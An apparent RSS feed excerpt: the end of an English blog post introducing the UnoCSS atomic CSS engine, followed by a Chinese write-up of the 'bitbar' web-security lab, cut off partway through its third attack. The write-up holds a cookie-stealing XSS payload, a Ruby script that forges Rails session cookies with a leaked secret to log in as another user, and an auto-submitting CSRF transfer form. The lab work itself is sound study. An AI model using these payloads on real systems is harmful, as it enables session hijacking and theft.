&lt;p&gt;The main goals of UnoCSS are intuitiveness and customization. It allows you to define your own utilities literally in seconds.&lt;/p&gt;
&lt;p&gt;Here is a quick guide through:&lt;/p&gt;
&lt;h6&gt;Static Rules&lt;/h6&gt;
&lt;p&gt;Atomic CSS might come huge in terms of the amount. It&apos;s important to have the rules definition straightforward and easy to read. To create a custom rule for UnoCSS, you can write it as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rules: [
  [&apos;m-1&apos;, { margin: &apos;0.25rem&apos; }]
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Whenever &lt;code&gt;m-1&lt;/code&gt; is detected in users&apos; codebase, the following CSS will be generated:&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.m-1 { margin: 0.25rem; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;Dynamic Rules&lt;/h6&gt;
&lt;p&gt;To make it dynamic, change the matcher to a RegExp and the body to a function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rules: [
  [/^m-(\d+)$/, ([, d]) =&amp;gt; ({ margin: `${d / 4}rem` })],
  [/^p-(\d+)$/, match =&amp;gt; ({ padding: `${match[1] / 4}rem` })],
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first argument of the body function is the match result, so you can destructure it to get the RegExp matched groups.&lt;/p&gt;
&lt;p&gt;For example, with the usage:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;m-100&quot;&amp;gt;
  &amp;lt;button class=&quot;m-3&quot;&amp;gt;
    &amp;lt;icon class=&quot;p-5&quot; /&amp;gt;
    My Button
  &amp;lt;/button&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;the corresponding CSS will be generated:&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.m-100 { margin: 25rem; }
.m-3 { margin: 0.75rem; }
.p-5 { padding: 1.25rem; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it. You only need to add more utilities using the same pattern, and now you got your own atomic CSS running!&lt;/p&gt;
&lt;h3&gt;Variants&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://windicss.org/utilities/variants.html#variants&quot;&gt;Variants&lt;/a&gt; in UnoCSS are also simple yet powerful. Here are a few examples:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;variants: [
  // support `hover:` for all rules
  {
    match: s =&amp;gt; s.startsWith(&apos;hover:&apos;) ? s.slice(6) : null,
    selector: s =&amp;gt; `${s}:hover`,
  },
  // support `!` prefix to make the rule important
  {
    match: s =&amp;gt; s.startsWith(&apos;!&apos;) ? s.slice(1) : null,
    rewrite: (entries) =&amp;gt; {
      // append ` !important` to all css values
      entries.forEach(e =&amp;gt; e[1] += &apos; !important&apos;)
      return entries
    },
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The configurations of variants could be a bit advanced. Due to the length of the post, I will skip the detailed explanation here, you can refer to &lt;a href=&quot;https://github.com/antfu/unocss#custom-variants&quot;&gt;the docs&lt;/a&gt; for more details.&lt;/p&gt;
&lt;h3&gt;Presets&lt;/h3&gt;
&lt;p&gt;Now you can pack your custom rules and variants into presets and share them with others - or create even your own atomic CSS framework on top of UnoCSS!&lt;/p&gt;
&lt;p&gt;Meanwhile, we ship with &lt;a href=&quot;https://github.com/antfu/unocss#presets&quot;&gt;a few presets&lt;/a&gt; for you to get your hands on quickly.&lt;/p&gt;
&lt;p&gt;One thing worth mentioning is the default &lt;a href=&quot;https://github.com/antfu/unocss/tree/main/packages/preset-uno&quot;&gt;&lt;code&gt;@unocss/preset-uno&lt;/code&gt;&lt;/a&gt; preset (&lt;strong&gt;still experimental&lt;/strong&gt;) is a common superset of the popular utilities-first framework, including Tailwind CSS, Windi CSS, Bootstrap, Tachyons, etc.&lt;/p&gt;
&lt;p&gt;For example, both &lt;code&gt;ml-3&lt;/code&gt; (Tailwind), &lt;code&gt;ms-2&lt;/code&gt; (Bootstrap), &lt;code&gt;ma4&lt;/code&gt; (Tachyons), &lt;code&gt;mt-10px&lt;/code&gt; (Windi CSS) are valid.&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.ma4 { margin: 1rem; }
.ml-3 { margin-left: 0.75rem; }
.ms-2 { margin-inline-start: 0.5rem; }
.mt-10px { margin-top: 10px; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/antfu/unocss/tree/main/packages/preset-uno&quot;&gt;Learn more about the default preset&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Flexibility&lt;/h3&gt;
&lt;p&gt;Till now, we are all showcasing how you can use UnoCSS to mimic the behavior of Tailwind - while we made it really easy to mimic Tailwind by your own, that alone probably won&apos;t make much difference on the user side.&lt;/p&gt;
&lt;p&gt;Let&apos;s unleash the true power of UnoCSS:&lt;/p&gt;
&lt;h6&gt;Attributify Mode&lt;/h6&gt;
&lt;p&gt;&lt;a href=&quot;https://windicss.org/posts/v30.html#attributify-mode&quot;&gt;The Attributify Mode&lt;/a&gt; is one of the beloved features of Windi CSS. It helps you better organize and group your utilities by using attributes.&lt;/p&gt;
&lt;p&gt;It turns your Tailwind code from this:&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button class=&quot;bg-blue-400 hover:bg-blue-500 text-sm text-white font-mono font-light py-2 px-4 rounded border-2 border-blue-200 dark:bg-blue-500 dark:hover:bg-blue-600&quot;&amp;gt;
  Button
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button
  bg=&quot;blue-400 hover:blue-500 dark:blue-500 dark:hover:blue-600&quot;
  text=&quot;sm white&quot;
  font=&quot;mono light&quot;
  p=&quot;y-2 x-4&quot;
  border=&quot;2 rounded blue-200&quot;
&amp;gt;
  Button
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not only this provide better organization by the categories, but also saves you the repetitive typing of the same prefixes.&lt;/p&gt;
&lt;p&gt;In UnoCSS, we implemented the Attributify Mode by using only &lt;a href=&quot;https://github.com/antfu/unocss/blob/main/packages/preset-attributify/src/variant.ts&quot;&gt;&lt;strong&gt;one variant&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/antfu/unocss/blob/main/packages/preset-attributify/src/extractor.ts&quot;&gt;&lt;strong&gt;one extractor&lt;/strong&gt;&lt;/a&gt; with &lt;strong&gt;less than 100 lines of code&lt;/strong&gt; in total! More importantly, it directly works for any custom rules you have defined!&lt;/p&gt;
&lt;p&gt;In addition Windi&apos;s Attributify Mode, we also support valueless attributes with a few lines of changes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;m-2 rounded text-teal-400&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;now can be&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div m-2 rounded text-teal-400 /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attributify Mode is provided via preset &lt;a href=&quot;https://github.com/antfu/unocss/blob/main/packages/preset-attributify&quot;&gt;&lt;code&gt;@unocss/preset-attributify&lt;/code&gt;&lt;/a&gt;, refer to its docs for detailed usages.&lt;/p&gt;
&lt;h6&gt;Pure CSS Icons&lt;/h6&gt;
&lt;p&gt;If you&apos;ve ever read my previous post &lt;a href=&quot;/posts/journey-with-icons-continues&quot;&gt;Journey with Icons Continues&lt;/a&gt; you must know that I am very enthusiastic about icons and actively researching for icons solutions. This time with UnoCSS&apos;s flexibility, we could even have pure CSS icons! Yes, you read me, &lt;strong&gt;it&apos;s purely in CSS and zero JavaScript&lt;/strong&gt;! Let&apos;s just see how it looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{/* A basic anchor icon from Phosphor icons */}
&amp;lt;div class=&quot;i-ph-anchor-simple-thin&quot; /&amp;gt;
{/* An orange alarm from Material Design Icons */}
&amp;lt;div class=&quot;i-mdi-alarm text-orange-400 hover:text-teal-400&quot; /&amp;gt;
{/* A large Vue logo */}
&amp;lt;div class=&quot;i-logos-vue text-3xl&quot; /&amp;gt;
{/* Sun in light mode, Moon in dark mode, from Carbon */}
&amp;lt;button class=&quot;i-carbon-sun dark:i-carbon-moon&quot; /&amp;gt;
{/* Twemoji of laugh, turns to tear on hovering */}
&amp;lt;div class=&quot;i-twemoji-grinning-face-with-smiling-eyes hover:i-twemoji-face-with-tears-of-joy&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;IconDemoDarkToggle client:visible /&amp;gt;&lt;/p&gt;
&lt;p&gt;Combining with variants, you can even switch icons based on hovering state or even color schema. Play with the demo above and see. Thanks to the awesome &lt;a href=&quot;https://iconify.design/&quot;&gt;Iconify&lt;/a&gt; project, you have access to over &lt;strong&gt;10,000 icons&lt;/strong&gt; from over 100 popular icon sets &lt;strong&gt;on-demand&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Once again, this feature is written with less than 100 lines of code. Check out the preset&apos;s implementation &lt;a href=&quot;https://github.com/antfu/unocss/blob/main/packages/preset-icons&quot;&gt;&lt;code&gt;@unocss/preset-icons&lt;/code&gt;&lt;/a&gt; to learn the magic!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Update: Read my new post &lt;a href=&quot;/posts/icons-in-pure-css&quot;&gt;Icons in Pure CSS&lt;/a&gt; to learn more about it!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I hope these presets can give you a general idea of how flexible UnoCSS is. Given it&apos;s still in a very early stage, there are many possibilities for us to explore.&lt;/p&gt;
&lt;h3&gt;Scoping&lt;/h3&gt;
&lt;p&gt;One other problem that I have faced when using Tailwind/Windi is the preflight. Preflight resets the native elements and provide some fallback for CSS variables, it&apos;s great when developing a new app that uses Tailwind/Windi solely, but when you want to have them work with other UI frameworks, or share some components using Tailwind utilities, the preflight often introduce many conflicts that break your existing UI.&lt;/p&gt;
&lt;p&gt;So UnoCSS took another aggressive step by not supporting preflights. Instead, it left the control of CSS resetting fully to users (or frameworks on top of UnoCSS) to use the one that fits their needs (Normalize.css, Reset.css, or UI frameworks&apos; resetting, etc.)&lt;/p&gt;
&lt;p&gt;This also allows UnoCSS to have more possibilities on CSS Scoping. For example, we have an experimental &lt;code&gt;scoped-vue&lt;/code&gt; mode on the Vite plugin to generate scoped styles for each component so you can safely ship them as a component library using atomic CSS without worry about conflicting with users&apos; CSS. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;div class=&quot;m-2 rounded&quot;&amp;gt;
    &amp;lt;slot /&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

{/* the following will be inject in the bundler */}
&amp;lt;style scoped&amp;gt;
.m-2 {
  margin: 0.5rem;
}
.rounded {
  border-radius: 0.25rem;
}
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We are also experimenting with more possibilities like Web Components support, CSS code-splitting for MPA, module-level CSS scoping, etc.&lt;/p&gt;
&lt;h2&gt;Performance&lt;/h2&gt;
&lt;p&gt;Given all the flexibility and imagination UnoCSS brings, I would frankly think performance can be a less important thing to care about. Just out of curiosity, I wrote &lt;a href=&quot;https://github.com/antfu/unocss/tree/main/bench&quot;&gt;a simple benchmark&lt;/a&gt; to compare the performances. And surprisingly, here is the result:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;10/21/2021, 2:17:45 PM
1656 utilities | x50 runs

none                            8.75 ms /    0.00 ms
unocss       v0.0.0            13.72 ms /    4.97 ms (x1.00)
windicss     v3.1.9           980.41 ms /  971.66 ms (x195.36)
tailwindcss  v3.0.0-alpha.1  1258.54 ms / 1249.79 ms (x251.28)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It turns out, UnoCSS could be &lt;strong&gt;200x faster than Tailwind&apos;s JIT and Windi CSS&lt;/strong&gt;. To be honest, with the on-demand approach, both Windi and Tailwind JIT are already super-fast, the performance gain in UnoCSS might not be very perceivable. However, the nearly zero overhead means you can integrate UnoCSS into your existing project to work with other frameworks as an incremental solution without worrying about the performance loss.&lt;/p&gt;
&lt;p&gt;Deep down, UnoCSS did many performance optimizations. In case you wonder, here is a few of them to take away:&lt;/p&gt;
&lt;h3&gt;No Parsing, No AST&lt;/h3&gt;
&lt;p&gt;Internally, Tailwind relied on modifying PostCSS&apos;s AST, while Windi wrote a custom parser and AST. Given the fact that changes in utilities are not commonly expected during the development, UnoCSS generates the utilities by the very cheap string concatenation instead of introducing a whole parser and generating process. Meanwhile, UnoCSS aggressively caches to the class names with their generated CSS string, allowing it to bypass the entire matching and generating process when seeing the same utilities again.&lt;/p&gt;
&lt;h3&gt;Single Pass&lt;/h3&gt;
&lt;p&gt;As mentioned in the previous section, both Windi CSS and Tailwind JIT rely on the pre-scanning for the file system and use fs watcher for HMR. File IO inevitably introduces some overhead, while your build tools are actually needed to load them once again. So why don&apos;t we leverage the content that has already been read by the dev tools directly?&lt;/p&gt;
&lt;p&gt;Other than the independent generator core, UnoCSS intentionally only provides Vite plugin which allows it to focus on the best possible integration with Vite.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Updates: Now it also provides &lt;a href=&quot;https://github.com/antfu/unocss/tree/main/packages/webpack&quot;&gt;a Webpack plugin&lt;/a&gt; and &lt;a href=&quot;https://github.com/antfu/unocss/tree/main/packages/runtime&quot;&gt;a CSS-in-JS runtime&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In Vite, the &lt;code&gt;transform&lt;/code&gt; hook will be iterated over with all the files with their content. So we can write a plugin to collect them like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
  plugins: [
    {
      name: &apos;unocss&apos;,
      transform(code, id) {
        // filter out the files you don&apos;t want to scan
        if (!filter(id))
          return

        // scan the code (also handles invalidate on dev)
        scan(code, id)

        // we just want the content, so we don&apos;t transform the code
        return null
      },
      resolveId(id) {
        return id === VIRTUAL_CSS_ID ? id : null
      },
      async load(id) {
        // generated css is provide as a virtual module
        if (id === VIRTUAL_CSS_ID)
          return { code: await generate() }
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given Vite also handles the HMR and will involve the &lt;code&gt;transform&lt;/code&gt; hook again of upon file changes, this allows UnoCSS to finish everything in a single pass with no duplication of file IO and fs watcher. In addition to that, with this approach, the scanning relies on the module graph instead of file globing. Meaning that only the modules that been bundled into your app will affect the generated CSS instead of any files under your folders.&lt;/p&gt;
&lt;p&gt;There are a few more tricks we have done to squeeze out even more performance. I might do another post about them later, but before that, you can read the code to figure out :)&lt;/p&gt;
&lt;h2&gt;Can I Use it Now?&lt;/h2&gt;
&lt;p&gt;For the short answer: Yes, but with cautions.&lt;/p&gt;
&lt;p&gt;UnoCSS is still in experiments. But given its simplicity, the generation result is already quite reliable. One thing you need to care about is the APIs are not finalized yet. We will indeed follow semver on releasing, but please expect changes.&lt;/p&gt;
&lt;p&gt;It&apos;s not designed to be a replacement of Windi CSS or Tailwind (consider waiting for Windi CSS v4). We don&apos;t recommend migrating existing projects to UnoCSS completely. You can try it on new projects or use it as a complement along with your existing CSS framework (for example, disable default preset and use the icon preset solely for pure CSS icons, or make your custom rules).&lt;/p&gt;
&lt;p&gt;Oh btw, &lt;a href=&quot;https://github.com/antfu/antfu.me&quot;&gt;the site you are reading&lt;/a&gt; is now solely on UnoCSS, for you to reference :P.&lt;/p&gt;
&lt;p&gt;Meanwhile, please feel free to share the presets you are making or help contribute to our default presets. We can&apos;t wait to see what you can come up with!&lt;/p&gt;
&lt;h2&gt;Thanks&lt;/h2&gt;
&lt;p&gt;Appreciate the early review and feedback provided by (A-Z):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/alexanderniebuhr&quot;&gt;@alexanderniebuhr&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ElMassimo&quot;&gt;@ElMassimo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/harlan-zw&quot;&gt;@harlan-zw&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/QC-L&quot;&gt;@QC-L&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/userquin&quot;&gt;@userquin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/voorjaar&quot;&gt;@voorjaar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/wheatjs&quot;&gt;@wheatjs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Wrapping Up&lt;/h2&gt;
&lt;p&gt;Thanks a lot for reading through! If it ever got you interested, do remember to check out the repo &lt;a href=&quot;https://github.com/unocss/unocss&quot;&gt;&lt;code&gt;unocss/unocss&lt;/code&gt;&lt;/a&gt; for more details and play with it on the &lt;a href=&quot;https://unocss.antfu.me/&quot;&gt;&lt;strong&gt;Online Playground&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please feel free to comment or retweet &lt;a href=&quot;https://twitter.com/antfu7/status/1452802545118711812&quot;&gt;this tweet&lt;/a&gt; letting me know what you think! 🙌&lt;/p&gt;
</content:encoded></item><item><title>bitbar渗透实验</title><link>https://rayepeng.net/posts/bitbar%E6%B8%97%E9%80%8F%E5%AE%9E%E9%AA%8C/</link><guid isPermaLink="true">https://rayepeng.net/posts/bitbar%E6%B8%97%E9%80%8F%E5%AE%9E%E9%AA%8C/</guid><pubDate>Mon, 08 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;bitbar渗透实验&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeianbmupbfbs4haigqrbz2egn4kyv4r2ou2h66a6ecr3ju3lejfd6u.jpeg&quot; alt=&quot;lukas-NLSXFjl_nhc-unsplash&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本文首发于 https://sec-in.com/article/441&lt;/p&gt;
&lt;p&gt;给的是一个比特币交易的网站，本地搭建环境之后开始按照文章中的要求来完成6次attack&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;网站源码和代码都放在这个仓库了 https://github.com/xinyongpeng/bitbar&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Attack 1: Warm-up exercise: Cookie Theft&lt;/p&gt;
&lt;p&gt;根据路由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  get &apos;profile&apos; =&amp;gt; &apos;userview_profile&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定位到函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  def view_profile
    @username = params[:username]
    @user = User.find_by_username(@username)
    if not @user
      if @username and @username != &quot;&quot;
        @error = &quot;User {@username} not found&quot;
      elsif logged_in?
        @user = @logged_in_user
      end
    end
    
    render :profile
  end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，输入的 &lt;code&gt;username&lt;/code&gt; 被直接给打印出来，那么自然就存在XSS漏洞了。&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;(new Image()).src=&quot;http://localhost:3000/steal_cookie?cookie=&quot;+document.cookie&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者使用 xmlhttprequest 发送&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;var x = new XMLHttpRequest();x.open(&quot;GET&quot;, &quot;http://localhost:3000/steal_cookie?cookie=&quot;+(document.cookie));x.send()&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eBz6AdD13AAB4GgpKt-E526.png&quot; alt=&quot;1588517915811.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;Attack 2: Session hijacking with Cookies&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ruby-china.org/topics/34235&quot;&gt;参考这篇文章&lt;/a&gt;
&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB1eAEmafAABxCVKO0wE916.png&quot; alt=&quot;1.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上图说明了原始的 Session 对象 &lt;strong&gt;Session Data&lt;/strong&gt; 是如何最终生成 Cookie 的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;原来的加密过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;序列化&lt;/li&gt;
&lt;li&gt;填充，aes-cbc加密，结果用base64编码&lt;/li&gt;
&lt;li&gt;hmac-sha1签名&lt;/li&gt;
&lt;li&gt;将加密的数据和签名通过 &lt;code&gt;--&lt;/code&gt; 连接&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但是意外地发现，bitbar的cookie并没有aes加密，可以通过&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;base64解码&lt;/li&gt;
&lt;li&gt;反序列化&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;得到原始信息，那么这么一来，就只需要绕过验签这一个障碍了&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;config/initializers/secret_token.rb&lt;/code&gt; 中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; Be sure to restart your server when you modify this file.

 Your secret key is used for verifying the integrity of signed cookies.
 If you change this key, all old signed cookies will become invalid!

 Make sure the secret is at least 30 characters and all random,
 no regular words or you&apos;ll be exposed to dictionary attacks.
 You can use `rake secret` to generate a secure secret key.

 Make sure your secret_key_base is kept private
 if you&apos;re sharing your code publicly.
Bitbar::Application.config.secret_token = &apos;0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就是hmac-sha1的加解密密钥&lt;/p&gt;
&lt;p&gt;ok，到此为止我们就能伪造数据了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;attacke用户登陆，获取到当前的cookie&lt;/li&gt;
&lt;li&gt;修改cookie值&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这里需要用到 &lt;code&gt;mechanize&lt;/code&gt; 这个包，安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gem install mechanize
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模拟登陆实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;agent = Mechanize.new 实例化对象
url = &quot;http://localhost:3000/login&quot;

page = agent.get(url)  获得网页

form = page.forms.first  第一个表单
form[&apos;username&apos;] = form[&apos;password&apos;] = &apos;attacker&apos;  填写表单，用户名和密码都是attacker
agent.submit form  提交表单
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就相当于登陆了，然后我们获得cookie信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cookie = agent.cookie_jar.jar[&apos;localhost&apos;][&apos;/&apos;][SESSION].to_s.sub(&quot;{SESSION}=&quot;, &apos;&apos;)
cookie_value, cookie_signature = cookie.split(&apos;--&apos;)
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;session如下:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;session_id&quot;=&amp;gt;&quot;66ef9a22ca26e27ea4d3018b12c07999&quot;, &quot;token&quot;=&amp;gt;&quot;q2VXDRnMskkf-69Gu2PiTg&quot;, &quot;logged_in_id&quot;=&amp;gt;4}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很明显， 我们只需要修改 &lt;code&gt;logged_in_id&lt;/code&gt; 为1即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;session[&apos;logged_in_id&apos;] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join  get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = &quot;{SESSION}={cookie_value}--{cookie_signature}&quot;

puts &quot;document.cookie=&apos;{cookie_full}&apos;;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候得到的session&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.cookie=&apos;_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTY2ZWY5YTIyY2EyNmUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1MlBpVGcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后再发送数据，比如访问 &lt;code&gt;http://localhost:3000/profile&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;url = URI(&apos;http://localhost:3000/profile&apos;)

http = Net::HTTP.new(url.host, url.port)

header = {&apos;Cookie&apos;:cookie_full}
response = http.get(url,header)
puts response.body
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们就能看到，
&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB3mAJLm4AABrASZOCuU360.png&quot; alt=&quot;1588571397765.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;浏览器已经认为我们是 &lt;code&gt;user1&lt;/code&gt; 了&lt;/p&gt;
&lt;p&gt;完整代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require &apos;mechanize&apos;
require &apos;net/http&apos;
SESSION = &apos;_bitbar_session&apos;
RAILS_SECRET = &apos;0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08&apos;

agent = Mechanize.new
url = &quot;http://localhost:3000/login&quot;

page = agent.get(url)

form = page.forms.first
form[&apos;username&apos;] = form[&apos;password&apos;] = &apos;attacker&apos;
agent.submit form

cookie = agent.cookie_jar.jar[&apos;localhost&apos;][&apos;/&apos;][SESSION].to_s.sub(&quot;{SESSION}=&quot;, &apos;&apos;)
cookie_value, cookie_signature = cookie.split(&apos;--&apos;)
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

puts session
session[&apos;logged_in_id&apos;] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join  get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = &quot;{SESSION}={cookie_value}--{cookie_signature}&quot;

url = URI(&apos;http://localhost:3000/profile&apos;)

http = Net::HTTP.new(url.host, url.port)

header = {&apos;Cookie&apos;:cookie_full}
response = http.get(url,header)
puts response.body
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attack 3: Cross-site Request Forgery&lt;/p&gt;
&lt;p&gt;分析，登陆 user1,向attacker转帐，抓到的数据包如下&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB4qAB1loAAFZCtLwc1o036.png&quot; alt=&quot;1588573100136.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;可见，只需要构造一个表单自动提交即可&lt;/p&gt;
&lt;p&gt;&lt;code&gt;b.html&lt;/code&gt; 内容如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    
    &amp;lt;form action=&quot;http://localhost:3000/post_transfer&quot; method=&quot;post&quot; enctype=&quot;application/x-www-form-urlencoded&quot; id=&quot;pay&quot;&amp;gt;
        &amp;lt; input type=&quot;hidden&quot; name=&quot;destination_username&quot; value=&quot;attacker&quot;&amp;gt;
        &amp;lt; input type=&quot;hidden&quot; name=&quot;quantity&quot; value=10&amp;gt;
    &amp;lt;/form&amp;gt;

    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
        function validate(){
            document.getElementById(&quot;pay&quot;).submit();
        }
        window.load = validate();
        setTimeout(function(){window.location = &quot;http://baidu.com&quot;;}, 0.1);
        &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表单的字段都是隐藏的，并且值都是给定的，之后通过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.getElementById(&quot;pay&quot;).submit();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实现自动提交&lt;/p&gt;
&lt;p&gt;最后&lt;/p&gt;
